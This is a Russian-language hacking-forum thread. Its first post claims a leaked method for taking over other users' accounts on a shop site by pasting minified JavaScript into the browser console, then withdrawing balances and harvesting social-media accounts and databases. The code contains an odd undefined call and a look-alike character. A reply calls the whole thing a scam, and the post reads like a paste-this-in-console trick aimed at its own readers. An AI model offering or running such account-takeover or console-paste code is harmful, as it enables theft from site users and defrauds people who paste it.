[Слив] Зарабатываем на веб уязвимости

ErrorMine

Пользователь
Сообщения
1
Репутация
0
#1
Всем здарова. Хайда в теме не будет, хотя тема очень-очень стоящая. На форуме у вас я новичок и хочу получить неплохую репутацию. Думаю, за подобный слив я это заслужу :). Тема слита с приватного форума(С MAKHACK, который думаю большинству из вас известен). Не буду тянуть кота за яйца и сразу начнем.

- Линкаемся на сайт darkshop.cc
- Далее нам нужно открыть console разработчика, а делается это следующим образом:
Для браузеров Chrome или Opera + CNTRL + SHIFТ + J
Для браузера Firefox CNТRL + SНIFТ + К.

- В консоле вводим следующий JavaScript код для брута аккаунтов:
Код:
function start(){setTimeout(function(){$.get("lоgin.php?sys=session",function(t){t.indexOf("mb_log")>=0&&($("#check").html("Проверяется: "+t),$.get("login.php?check="+t,function(n){n.indexOf("true")>=0&&$("#log").append('<a target="_blank" href="login.php?hash='+t+'">https://darksho<b></b>p.cc/login.php?hash='+t+ " купленных товаров" +"</a><br>")}))}),setTimeout(function(){start()},1)},5e3)}$(".content").html('<div id="check"></div><br><b>Валидные аккаунты: </b><div id="log"></div>'),start(),nA();
.

Если появилась подобная надпись:
"Проверяется: UfIcUjms"
Значит тема еще работает и мы можем логиниться под чужими аккаунтами. Примерно через минуту после ввода кода у нас начнут появляться ссылки для авторизации под чужим аккаунтом. С ними мы можем делать что захотим;
- Выводить баланс
- Находить полезные ништяки типа аккаунтов вк, фб, инсты, различных баз и прочей дряни.
Надеюсь, вам понравится :).

P.S - Тема актуальна на 27.01.2018
 

slim9999

Местный
Сообщения
263
Репутация
116
#2
Даааа, было уже нахуй, где то там развод
 

Пользователи, которые просматривали тему (Всего: 0)

Тема долгое время не просматривалась.